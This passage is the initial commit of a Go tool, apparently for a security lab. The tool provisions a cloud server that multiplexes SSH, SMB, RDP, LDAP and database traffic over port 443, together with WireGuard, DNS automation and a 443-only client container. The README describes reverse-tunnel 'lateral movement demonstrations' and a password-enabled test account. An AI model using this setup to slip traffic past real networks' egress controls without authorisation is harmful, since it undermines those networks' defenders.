Initial code commit

This commit is contained in:
Warezpeddler
2026-01-29 00:03:02 +00:00
commit 8f35bb7ec8
38 changed files with 6039 additions and 0 deletions

57
.gitignore vendored Normal file
View File

@@ -0,0 +1,57 @@
# Binaries
sslh-lab
sslh-lab.exe
sslh-lab.darwin
sslh-lab.linux
sslh-lab.windows
*.exe
*.exe~
*.dll
*.so
*.dylib
# Test binary
*.test
# Output of the go coverage tool
*.out
# Dependency directories
vendor/
# Go workspace file
go.work
# IDE
.idea/
.vscode/
.cursor/
*.swp
*.swo
*~
# OS
.DS_Store
Thumbs.db
# Deployment data
.deployments/
~/.sslh-lab/
# Build artifacts
dist/
build/
# Logs
*.log
debug.log
# Temporary files
*.tmp
*.temp
/tmp/
*.bak
*.backup
# Custom
progress.txt

351
README.md Normal file
View File

@@ -0,0 +1,351 @@
# SSLH Multiplex Lab Infrastructure
A cross-platform Go CLI tool for provisioning and managing SSLH multiplex lab environments on Hetzner VPS with Namecheap DNS integration.
## Overview
This tool automates the setup of a lab environment that demonstrates protocol multiplexing using SSLH. It provisions a Hetzner VPS, configures SSLH to multiplex multiple services on port 443, sets up WireGuard VPN, manages DNS records via Namecheap, and provides a Docker-based client environment for testing.
## Features
- **Automated VPS Provisioning**: Creates Hetzner Cloud servers with cloud-init configuration
- **SSLH Configuration**: Automatically generates SSLH config with SNI-based routing for 20+ services
- **DNS Management**: Creates and manages DNS records via Namecheap API
- **SSH Key Management**: Generates per-deployment SSH key pairs with secure random passphrases
- **WireGuard Integration**: Sets up WireGuard server and generates multi-platform client profiles
- **Service Configuration**: Installs and configures multiple services (SSH, HTTPS, SMB, LDAP, databases, etc.)
- **Client Docker Container**: Provides a restricted network environment (443-only) for testing
- **Comprehensive Cleanup**: Teardown removes all resources including VPS and DNS records
## Installation
### Prerequisites
- Go 1.21 or later
- Docker and Docker Compose (for client container)
- **Hetzner Cloud API token**: A read/write API token from the Hetzner Cloud Console
- Create one at: https://console.hetzner.cloud/
- Navigate to: Security → API Tokens → Generate API Token
- Required permissions: Read & Write (to create, manage, and delete servers)
- **Namecheap API credentials** (API key, username, and whitelisted IP)
- **Note**: The tool automatically switches your domain to Namecheap DNS servers if needed
- Your domain must use Namecheap's DNS servers (BasicDNS, PremiumDNS, or FreeDNS) to manage DNS records via API
- If your domain uses custom nameservers, the tool will automatically switch it to Namecheap DNS during setup
### Build
```bash
go build -o sslh-lab ./cmd/sslh-lab
```
## Configuration
Configuration can be provided via:
1. **CLI flags** (highest priority)
2. **Environment variables** (prefixed with `SSLH_`)
3. **Config file** at `~/.sslh-lab/config.yaml`
### Required Configuration
- `hetzner-key`: Hetzner Cloud API token (read/write permissions required)
- Get from: https://console.hetzner.cloud/ → Security → API Tokens
- Must have permissions to create, read, update, and delete servers
- `namecheap-key`: Namecheap API key
- Get from: Namecheap account → Profile → Tools → Business & Dev Tools → Namecheap API Access
- Enable API access and generate an API key
- `namecheap-user`: Namecheap API username (your Namecheap account username)
- `domain`: Domain name for DNS records
- The tool will automatically switch the domain to Namecheap DNS servers if it's using custom nameservers
- Must be a domain registered with Namecheap and present in your account
- `letsencrypt-email`: Email address for Let's Encrypt certificate registration (optional)
- If provided, automatically provisions a TLS certificate for the domain and all SNI-required subdomains
- Uses DNS-01 challenge (requires Namecheap DNS control)
- Certificate is automatically revoked on teardown (if > 7 days until expiry)
- Reuses existing valid certificates (> 30 days remaining) to avoid rate limits
- Follows Let's Encrypt best practices: respects rate limits, avoids unnecessary requests
### Optional Configuration
- `region`: Hetzner region (default: `nbg1`)
- `server-type`: Hetzner server type (default: `cpx22`)
- `letsencrypt-email`: Email address for Let's Encrypt certificate registration
- Automatically provisions TLS certificates for the domain and SNI-required subdomains
- Uses DNS-01 challenge via Namecheap API
- Certificates are stored in the deployment directory
- Automatically revoked on teardown (if > 7 days until expiry)
- Reuses existing valid certificates (> 30 days remaining) to respect rate limits
- `additional-services`: Include additional services beyond default (SSH, HTTPS, SMB)
### Example Config File
```yaml
hetzner_key: "your-hetzner-cloud-api-token" # Read/Write API token from Hetzner Cloud Console
namecheap_key: "your-namecheap-api-key"
namecheap_user: "your-namecheap-username"
domain: "example.com"
region: "nbg1"
letsencrypt_email: "your-email@example.com" # Optional: enables automatic TLS certificate provisioning
server_type: "cpx22"
```
## Usage
All commands support shorthand aliases for convenience:
- `setup``s`
- `status``st`
- `teardown``td`, `down`
- `client``c`, `cli`
- `ssh-info``ssh`, `si`
- `verify-passphrase``verify`, `vp`
### Setup
Provision and configure the lab environment:
```bash
# Full command
sslh-lab setup \
--hetzner-key YOUR_HETZNER_CLOUD_API_TOKEN \
--namecheap-key YOUR_NAMECHEAP_KEY \
--namecheap-user YOUR_NAMECHEAP_USER \
--domain example.com
# Shorthand
sslh-lab s \
--hetzner-key YOUR_HETZNER_CLOUD_API_TOKEN \
--namecheap-key YOUR_NAMECHEAP_KEY \
--namecheap-user YOUR_NAMECHEAP_USER \
--domain example.com
```
**Note**: The Hetzner API token must have read/write permissions to create and manage servers. Generate it from the [Hetzner Cloud Console](https://console.hetzner.cloud/) under Security → API Tokens.
This will:
1. Generate an SSH key pair with a random passphrase
2. Display the passphrase (save it securely - it won't be shown again)
3. Create a Hetzner VPS
4. Configure SSLH and services
5. Create DNS records for all services
6. Wait for DNS propagation
7. Create a low-privileged `testuser` account with password authentication enabled
- Password is randomly generated and displayed during setup
- This account is intended for demonstrating outbound connectivity through SSLH
**Note**: If services don't work immediately after setup, you may need to run the fix script on the VPS. See the [Troubleshooting](#troubleshooting) section below.
### Status
Check the current deployment status:
```bash
# Full command
sslh-lab status
# Shorthand
sslh-lab st
```
### SSH Info
Display SSH connection information:
```bash
# Full command
sslh-lab ssh-info
# Shorthand
sslh-lab ssh
# or
sslh-lab si
```
### Client Container
Launch the Docker client container for testing:
```bash
# Full command
sslh-lab client
# Shorthand
sslh-lab c
# or
sslh-lab cli
# Automatically connect to container shell
sslh-lab client --connect
# or
sslh-lab c -C
```
The container has restricted network access (only TCP 443 and UDP 53 outbound) and includes:
- Nginx HTTP server on port 8888 (for lateral movement demonstrations)
- SSH client for connecting through SSLH
- WireGuard tools for VPN connectivity
- SMB client for file sharing
- Network diagnostic tools
The HTTP server serves an admin panel and secrets file, accessible via reverse SSH tunnel for lateral movement demonstrations.
### Teardown
Destroy the lab environment and cleanup resources:
```bash
# Using config file (recommended)
sslh-lab teardown [--remove-keys]
# or shorthand
sslh-lab td [--remove-keys]
# With API keys via flags (if not in config file)
sslh-lab teardown --hetzner-key <key> --namecheap-key <key> --namecheap-user <user> [--remove-keys]
```
**Note:** If you have a config file at `~/.sslh-lab/config.yaml`, you don't need to provide API keys via flags. The command will automatically use values from the config file. API keys are optional - if not provided, only local files will be cleaned up (server and DNS records will remain).
The `--remove-keys` flag will also remove SSH keys from local storage.
### Verify Passphrase
Verify if a passphrase is correct for an SSH private key:
```bash
# Full command
sslh-lab verify-passphrase <key-path> <passphrase>
# Shorthand
sslh-lab verify <key-path> <passphrase>
# or
sslh-lab vp <key-path> <passphrase>
```
## Supported Services
### Default Services (Always Included)
The tool always configures these services:
1. **SSH** (22) - Protocol detection via builtin probe
2. **HTTPS** (443) - TLS routing to nginx on port 8444
3. **SMB** (445) - Regex pattern matching for SMB/CIFS protocol
### Additional Services (Optional)
Use the `--additional-services` flag to include:
4. **LDAP** (389) - Regex pattern matching
5. **LDAPS** (636) - SNI-based TLS routing
6. **RDP** (3389) - Regex pattern matching
7. **MySQL** (3306) - Regex pattern matching
8. **PostgreSQL** (5432) - Regex pattern matching
**Note**: The tool supports many more services (Redis, MongoDB, VNC, FTP, email protocols, etc.) via the `GetStandardServices()` function, but these are not included by default. The default and additional services are selected for common lab scenarios.
## Troubleshooting
If services don't work immediately after setup, or if you encounter issues with SSLH, nginx, or service configuration, you can run diagnostic and fix scripts on the VPS.
### Fix Deployment Issues
If SSLH or nginx aren't working correctly after initial setup, SSH into the VPS and run the fix script:
```bash
# SSH into the VPS (use ssh-info command to get connection details)
ssh -i ~/.sslh-lab/deployments/<deployment-id>/id_ed25519 <user>@<server-ip>
# Copy the fix script from your local project to the VPS
scp -i ~/.sslh-lab/deployments/<deployment-id>/id_ed25519 scripts/fix_deployment.sh <user>@<server-ip>:/tmp/
chmod +x /tmp/fix_deployment.sh
sudo /tmp/fix_deployment.sh
```
The fix script will:
- Ensure demo pages and nginx configuration files exist
- Fix SSLH systemd service configuration
- Restart nginx and SSLH services
- Verify services are listening on correct ports
- Test connectivity
### Diagnostic Scripts
Several diagnostic scripts are available in the `scripts/` directory:
- **`fix_deployment.sh`** - Fixes common deployment issues (nginx, SSLH, certificates)
- **`diagnose_deployment.sh`** - Comprehensive diagnostics for deployment issues
- **`verify_deployment.sh`** - Verifies all services and configurations
- **`diagnose_container.sh`** - Diagnostics for the Docker client container
To use these scripts, copy them to the VPS and run with appropriate permissions:
```bash
# Copy script to VPS
scp -i ~/.sslh-lab/deployments/<deployment-id>/id_ed25519 scripts/diagnose_deployment.sh <user>@<server-ip>:/tmp/
# SSH and run
ssh -i ~/.sslh-lab/deployments/<deployment-id>/id_ed25519 <user>@<server-ip>
chmod +x /tmp/diagnose_deployment.sh
sudo /tmp/diagnose_deployment.sh
```
### Common Issues
1. **SSLH not listening on port 443**
- Run `fix_deployment.sh` to fix systemd configuration
- Check SSLH config: `sudo cat /etc/sslh.cfg`
- Check SSLH status: `sudo systemctl status sslh`
2. **Nginx not serving content**
- Run `fix_deployment.sh` to recreate nginx configs
- Verify nginx is listening: `ss -tlnp | grep 8444`
- Check nginx config: `sudo nginx -t`
3. **DNS not resolving**
- Wait a few minutes for DNS propagation (can take up to 48 hours)
- Verify DNS records: `nslookup ssh.yourdomain.com`
- Check Namecheap DNS settings in your account
4. **Services not accessible through SSLH**
- Verify SSLH is running: `sudo systemctl status sslh`
- Check SSLH config matches your services
- Ensure backend services are listening on localhost
## Security Considerations
- SSH key pairs are generated per deployment with cryptographically secure random passphrases
- SSH private keys are encrypted with passphrases and stored in deployment-specific directories
- Passphrases are displayed only once during setup (never logged or stored)
- All API keys are stored securely (env vars or config file, never in code)
- Services are configured to listen on localhost only (for SSLH forwarding)
- Fail2ban is configured for SSH protection
- Firewall rules restrict services appropriately
- A `testuser` account is created with password authentication enabled for demonstration purposes
- This account has no sudo privileges and is intended for testing outbound connectivity
- The password is randomly generated and displayed during setup
- The account is configured for both SSH and SMB access
- Use this account to demonstrate connectivity through SSLH (port 443)
## Project Structure
```
sslh-multiplex-lab/
├── cmd/sslh-lab/ # CLI application
├── internal/
│ ├── config/ # Configuration management
│ ├── providers/ # Cloud provider clients (Hetzner, Namecheap)
│ ├── ssh/ # SSH key generation
│ ├── sslh/ # SSLH configuration generator
│ ├── wireguard/ # WireGuard server/client config
│ ├── services/ # Service definitions and installers
│ ├── templates/ # Cloud-init template generator
│ └── docker/ # Docker client container
└── pkg/utils/ # Utility functions (DNS, retry, validation)
```
## License
See LICENSE file for details.
## Contributing
Contributions are welcome! Please ensure all code follows Go best practices and includes appropriate error handling and tests.

56
config.yaml.example Normal file
View File

@@ -0,0 +1,56 @@
# SSLH Multiplex Lab Configuration File
#
# Copy this file to ~/.sslh-lab/config.yaml and fill in your actual values.
# Alternatively, you can use environment variables (prefixed with SSLH_) or CLI flags.
# Priority: CLI flags > Environment variables > Config file > Defaults
#
# Required fields:
# - hetzner_key: Your Hetzner Cloud API token (read/write permissions required)
# - namecheap_key: Your Namecheap API key
# - namecheap_user: Your Namecheap account username
# - domain: Domain name registered with Namecheap
#
# Optional fields:
# - region: Hetzner region (default: nbg1)
# - server_type: Hetzner server type (default: cpx22)
# - letsencrypt_email: Email for Let's Encrypt certificate registration
# - config_dir: Configuration directory (default: ~/.sslh-lab)
# Hetzner Cloud API Configuration
# Get your API token from: https://console.hetzner.cloud/ → Security → API Tokens
# Must have read/write permissions to create, manage, and delete servers
hetzner_key: "your-hetzner-cloud-api-token-here"
# Namecheap API Configuration
# Get your API key from: Namecheap account → Profile → Tools → Business & Dev Tools → Namecheap API Access
# Enable API access and generate an API key
# Your IP address must be whitelisted in Namecheap API settings
namecheap_key: "your-namecheap-api-key-here"
namecheap_user: "your-namecheap-username"
# Domain Configuration
# Must be a domain registered with Namecheap and present in your account
# The tool will automatically switch the domain to Namecheap DNS servers if needed
domain: "example.com"
# Hetzner Server Configuration
# Region options: nbg1 (Nuremberg), fsn1 (Falkenstein), hel1 (Helsinki), ash (Ashburn), hil (Hillsboro)
# See: https://docs.hetzner.com/cloud/general/regions/
region: "nbg1"
# Server type options: cpx11, cpx21, cpx22, cpx31, cpx41, cpx51, etc.
# See: https://www.hetzner.com/cloud
# Default: cpx22 (2 vCPU, 4 GB RAM, 80 GB SSD)
server_type: "cpx22"
# Let's Encrypt Certificate Configuration (Optional)
# If provided, automatically provisions TLS certificates for the domain and all subdomains
# Uses DNS-01 challenge via Namecheap API
# Certificates are automatically revoked on teardown (if > 7 days until expiry)
# Reuses existing valid certificates (> 30 days remaining) to respect rate limits
letsencrypt_email: "your-email@example.com"
# Configuration Directory (Optional)
# Default: ~/.sslh-lab
# This is where deployment data, SSH keys, and certificates are stored
# config_dir: "~/.sslh-lab"

37
go.mod Normal file
View File

@@ -0,0 +1,37 @@
module sslh-multiplex-lab
go 1.24.0
require (
github.com/go-acme/lego/v4 v4.31.0
github.com/go-resty/resty/v2 v2.17.1
github.com/miekg/dns v1.1.69
github.com/spf13/cobra v1.10.2
github.com/spf13/viper v1.21.0
golang.org/x/crypto v0.46.0
gopkg.in/yaml.v3 v3.0.1
)
require (
github.com/cenkalti/backoff/v5 v5.0.3 // indirect
github.com/fsnotify/fsnotify v1.9.0 // indirect
github.com/go-jose/go-jose/v4 v4.1.3 // indirect
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
github.com/sagikazarmark/locafero v0.11.0 // indirect
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
github.com/spf13/afero v1.15.0 // indirect
github.com/spf13/cast v1.10.0 // indirect
github.com/spf13/pflag v1.0.10 // indirect
github.com/subosito/gotenv v1.6.0 // indirect
go.yaml.in/yaml/v3 v3.0.4 // indirect
golang.org/x/mod v0.30.0 // indirect
golang.org/x/net v0.48.0 // indirect
golang.org/x/sync v0.19.0 // indirect
golang.org/x/sys v0.39.0 // indirect
golang.org/x/text v0.32.0 // indirect
golang.org/x/tools v0.39.0 // indirect
)
replace golang.org/x/crypto => github.com/golang/crypto v0.41.0

78
go.sum Normal file
View File

@@ -0,0 +1,78 @@
github.com/cenkalti/backoff/v5 v5.0.3 h1:ZN+IMa753KfX5hd8vVaMixjnqRZ3y8CuJKRKj1xcsSM=
github.com/cenkalti/backoff/v5 v5.0.3/go.mod h1:rkhZdG3JZukswDf7f0cwqPNk4K0sa+F97BxZthm/crw=
github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
github.com/go-acme/lego/v4 v4.31.0 h1:gd4oUYdfs83PR1/SflkNdit9xY1iul2I4EystnU8NXM=
github.com/go-acme/lego/v4 v4.31.0/go.mod h1:m6zcfX/zcbMYDa8s6AnCMnoORWNP8Epnei+6NBCTUGs=
github.com/go-jose/go-jose/v4 v4.1.3 h1:CVLmWDhDVRa6Mi/IgCgaopNosCaHz7zrMeF9MlZRkrs=
github.com/go-jose/go-jose/v4 v4.1.3/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=
github.com/go-resty/resty/v2 v2.17.1 h1:x3aMpHK1YM9e4va/TMDRlusDDoZiQ+ViDu/WpA6xTM4=
github.com/go-resty/resty/v2 v2.17.1/go.mod h1:kCKZ3wWmwJaNc7S29BRtUhJwy7iqmn+2mLtQrOyQlVA=
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
github.com/golang/crypto v0.41.0 h1:UCPqq9tV7ZtoqQbx3nz+FzRm9QSw18WwRKQTfrTApnQ=
github.com/golang/crypto v0.41.0/go.mod h1:pO5AFd7FA68rFak7rOAGVuygIISepHftHnr8dr6+sUc=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/miekg/dns v1.1.69 h1:Kb7Y/1Jo+SG+a2GtfoFUfDkG//csdRPwRLkCsxDG9Sc=
github.com/miekg/dns v1.1.69/go.mod h1:7OyjD9nEba5OkqQ/hB4fy3PIoxafSZJtducccIelz3g=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU=
github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4=
github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=
go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
golang.org/x/mod v0.30.0 h1:fDEXFVZ/fmCKProc/yAXXUijritrDzahmwwefnjoPFk=
golang.org/x/mod v0.30.0/go.mod h1:lAsf5O2EvJeSFMiBxXDki7sCgAxEUcZHXoXMKT4GJKc=
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk=
golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
golang.org/x/tools v0.39.0 h1:ik4ho21kwuQln40uelmciQPp9SipgNDdrafrYA4TmQQ=
golang.org/x/tools v0.39.0/go.mod h1:JnefbkDPyD8UU2kI5fuf8ZX4/yUeh9W877ZeBONxUqQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

156
internal/config/config.go Normal file
View File

@@ -0,0 +1,156 @@
package config
import (
"errors"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/spf13/cobra"
"github.com/spf13/viper"
)
type Config struct {
HetznerAPIKey string
NamecheapAPIKey string
NamecheapUser string
Domain string
Region string
ServerType string
DeploymentID string
ConfigDir string
LetsEncryptEmail string
}
func LoadConfig(cmd *cobra.Command) (*Config, error) {
return LoadConfigWithValidation(cmd, true)
}
func LoadConfigWithValidation(cmd *cobra.Command, validate bool) (*Config, error) {
homeDir, err := os.UserHomeDir()
if err != nil {
return nil, fmt.Errorf("failed to get user home directory: %w", err)
}
configDir := filepath.Join(homeDir, ".sslh-lab")
configFile := filepath.Join(configDir, "config.yaml")
viper.SetConfigType("yaml")
viper.SetConfigFile(configFile)
viper.SetEnvPrefix("SSLH")
viper.AutomaticEnv()
viper.SetDefault("region", "nbg1")
viper.SetDefault("server_type", "cpx22")
viper.SetDefault("config_dir", configDir)
if err := viper.ReadInConfig(); err != nil {
var configFileNotFoundError viper.ConfigFileNotFoundError
var pathError *os.PathError
errMsg := strings.ToLower(err.Error())
if errors.As(err, &configFileNotFoundError) {
// Config file not found is OK - we'll use defaults/env vars/flags
} else if errors.As(err, &pathError) && os.IsNotExist(pathError) {
// File doesn't exist - this is OK
} else if os.IsNotExist(err) {
// Direct IsNotExist check
} else if strings.Contains(errMsg, "no such file") || strings.Contains(errMsg, "not found") {
// File not found error (handled as OK)
} else {
// Any other error is a real problem
return nil, fmt.Errorf("failed to read config file: %w", err)
}
}
config := &Config{
HetznerAPIKey: getStringValue(cmd, "hetzner-key", "HETZNER_KEY"),
NamecheapAPIKey: getStringValue(cmd, "namecheap-key", "NAMECHEAP_KEY"),
NamecheapUser: getStringValue(cmd, "namecheap-user", "NAMECHEAP_USER"),
Domain: getStringValue(cmd, "domain", "DOMAIN"),
Region: getStringValue(cmd, "region", "REGION"),
ServerType: getStringValue(cmd, "server-type", "SERVER_TYPE"),
ConfigDir: viper.GetString("config_dir"),
LetsEncryptEmail: getStringValue(cmd, "letsencrypt-email", "LETSENCRYPT_EMAIL"),
}
if validate {
if err := config.Validate(); err != nil {
return nil, fmt.Errorf("configuration validation failed: %w", err)
}
}
return config, nil
}
func getStringValue(cmd *cobra.Command, flagName, envKey string) string {
if cmd != nil {
if flagValue, err := cmd.Flags().GetString(flagName); err == nil && flagValue != "" {
return flagValue
}
}
if envValue := viper.GetString(envKey); envValue != "" {
return envValue
}
// For viper config file, convert hyphen to underscore (viper uses underscores)
viperKey := strings.ReplaceAll(flagName, "-", "_")
return viper.GetString(viperKey)
}
func (c *Config) Validate() error {
if c.HetznerAPIKey == "" {
return fmt.Errorf("hetzner API key is required (set via --hetzner-key, SSLH_HETZNER_KEY, or config file)")
}
if c.NamecheapAPIKey == "" {
return fmt.Errorf("namecheap API key is required (set via --namecheap-key, SSLH_NAMECHEAP_KEY, or config file)")
}
if c.NamecheapUser == "" {
return fmt.Errorf("namecheap username is required (set via --namecheap-user, SSLH_NAMECHEAP_USER, or config file)")
}
if c.Domain == "" {
return fmt.Errorf("domain is required (set via --domain, SSLH_DOMAIN, or config file)")
}
return nil
}
func (c *Config) ValidateForTeardown() error {
if c.HetznerAPIKey == "" {
return fmt.Errorf("hetzner API key is required (set via --hetzner-key, SSLH_HETZNER_KEY, or config file)")
}
if c.NamecheapAPIKey == "" {
return fmt.Errorf("namecheap API key is required (set via --namecheap-key, SSLH_NAMECHEAP_KEY, or config file)")
}
if c.NamecheapUser == "" {
return fmt.Errorf("namecheap username is required (set via --namecheap-user, SSLH_NAMECHEAP_USER, or config file)")
}
return nil
}
func (c *Config) GetDeploymentDir() string {
if c.DeploymentID == "" {
return ""
}
return filepath.Join(c.ConfigDir, "deployments", c.DeploymentID)
}
func (c *Config) EnsureConfigDir() error {
return os.MkdirAll(c.ConfigDir, 0755)
}
func (c *Config) EnsureDeploymentDir() error {
if c.DeploymentID == "" {
return fmt.Errorf("deployment ID not set")
}
return os.MkdirAll(c.GetDeploymentDir(), 0700)
}

View File

@@ -0,0 +1,35 @@
FROM ubuntu:22.04
# Prevent interactive prompts during package installation
ENV DEBIAN_FRONTEND=noninteractive
# Configure apt to be faster and more reliable
RUN echo 'Acquire::http::Timeout "30";' > /etc/apt/apt.conf.d/99timeout && \
